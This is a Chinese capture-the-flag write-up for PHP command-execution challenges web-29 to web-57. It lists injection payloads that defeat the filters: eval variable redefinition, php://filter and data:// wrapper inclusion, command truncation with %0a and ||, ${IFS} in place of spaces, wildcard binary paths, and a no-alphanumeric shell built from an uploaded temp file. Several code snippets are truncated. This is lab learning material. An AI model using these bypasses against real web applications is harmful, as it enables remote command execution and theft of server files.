web-命令执行
web-29
观察代码,发现过滤了flag,我们使用模糊匹配
?c=system(“cat fla*”);
就能得到flag了。
web-30
观察代码可知,该题过滤了flag,system和php
我们可以使用passthru代替system
?c=passthru(“cat fla*”);就能得到flag了
web-31
观察代码,发现过滤了flag,system,php,cat,sort,shell,.,空格,単引号,因此,我们可以进行重造
变量
?c=eval($_GET[1]);&1=system(‘nl flag.php’);
页面回显1,说明重造成功,查看源码,发现flag
web-32
观察代码,发现过滤了更多的东西
因此这题可以通过文件包含和变量覆盖来写
1 | payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php |
$_GET[1]不加括号是因为,include把$__GET[1]当做一个变量来看,变量的内容由1来确定
1=php://filter/convert.base64-encode/resource=flag.php是通过get请求传入的参数,内容是一个文件包含,以base64形式返回
flag在将base64解码就能看到了
web-33
观察代码,发现这道题比上一道题过滤了一样的东西,因此,这道题可以用上一题的题解写。
但我们换种方法,我们使用data://伪协议
payload:?c=include$_GET[1]?>&1=data://text/plain,
页面回显1,说明代码成功执行,查看源码就能得到flag
web-34-36
跟前两个题做法一模一样
web-37
观察代码,发现一个include可知,该题需要使用文件包含,由于该题过滤了flag,它包含的数据流需转换成base64编码来改写
1 | ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== |
flag在源码里
注意:当data://text/plain后面接的不是base64编码,就使用逗号隔开
当data://text/plain后面为base64编码,就要使用分号隔开,再加上base64和base64编码
web-38
在上题的基础上过滤了php和file,我们依旧使用上一题的payload就能得到flag
web-39
查看源码,发现$c后面拼接了.php,拼接的php可以不用管,include只会处理内部的内容
1 | payload:?c=data://text/plain,<?php%20system("cat%20fla*");?> |
web-40(暂时)
不懂
payload:echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
payload:show_source(next(array_reverse(scandir(pos(localeconv())))));
web-41(暂时)
用脚本写,暂时不会
https://blog.csdn.net/miuzzx/article/details/108569080
web-42
查看源码,发现eval里有个/dev/null 2>&1
/dev/null 2>&1:让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
所以我们不能让后面执行,需要把后面截断,我们使用**%0a(换行),%26(&),||**
1 | payload:?c=cat flag.php %26 |
web-43
相对上一题,过滤了cat,我们使用tac来代替cat,
1 | payload:?c=tac flag.php %26 |
web-44
这题跟上题类似,但过滤了flag,因此我们构造payload
1 | ?c=tac f\lag%0a |
web-45
多过滤了一个空格
1 | paylo?c=tac%09fl*%26 |
web-46
该题过滤了空格和0-9,$,*,因此这题就不能使用url编码了,但我们可以使用||绕过
1 | payload:?c=tac<fl\ag.php|| |
web-47
这道题过滤了更多的文件读取命令,但还是没有过滤tac,因此
1 | payload:?c=tac<fl\ag.php|| |
web-48
额,这题依旧没过滤tac
1 | payload:?c=tac<fl\ag.php|| |
web-49
嗯,依旧没过滤
页面进行get请求时都会进行url解码再传参的
1 | payload1:c=nl%09fla\g.php|| |
web-50
我们依旧可以用tac来绕过
1 | payload:?c=tac<fl\ag.php|| |
web-51
这题把tac过滤了,我们可以使用nl来进行绕过
1 | ?c=nl<fl\ag.php|| |
web-52
这道题的<和>被过滤了,但$没有被过滤,我们可以使用${IFS}来代替空格
1 | payload: ?c=nl${IFS}fl\ag.php |
web-53
跟上题做法一样
1 | payload1:c''at${IFS}fla''g.p''hp |
web-54
这道题加强了正则表达式
1 | 例如.*c.*a.*t.* |
用模糊匹配绕过
1 | payload:?c=/bin/c??${IFS}???????? |
web-55
payload1
利用bin目录
1 | bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等 |
使用base64对flag.php进行加密同时使用?绕过字母限制
payload2
利用/user/bin目录
1 | 主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。 |
先c=/???/???/????2 ????.???
然后在url+ flag。php。bz2下载文件
payload3
无字母数字shell
无字母数字webshell之提高篇
shell下可以利用.来执行任意脚本
可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就
会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的
大小写字母以及数字
写一个post上传表单
1 | <!DOCTYPE html> |
构造POC
注:shell程序必须以”#!/bin/sh”开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
1 | ?c=./???/????????[@-[] |
payload 4
运行下面脚本
1 | import requests |
web 56
因为过滤掉了数字,所以web55前两个方法都不行了。
还是用上传文件的方法
web57
1 | //flag in 36.php |
利用linux的$(())构造出36
$(())=0
$((~ $(()) ))=-1
(())是用来整数运算的命令,内部可以放表达式,默认相加,通过$((~36)) 可得36取反为-37
36可以通过外层为$(())包裹内层可以运算出36的表达式构造,36由-37取反得到,所以
$(($(( )))) 内部加上37个$(( $(()) )) 得到 -37 。
再捋一遍就是:
题目要读取36.php,先对36取反,可以知道36可以由-37取反得到,-37又可以拆成37个 -1 相加也就是37个$((~$(( )))),再在外面取反(也就是对-37取反)就可以得到36
最终payload:
1 | ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) )))) |
知识点
1、双小括号:(())
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
还要知道$(())的值是0
2、取反:
如果b=~a,那么a+b=-1。可以用二进制验算
3、echo ${_} #返回上一次的执行结果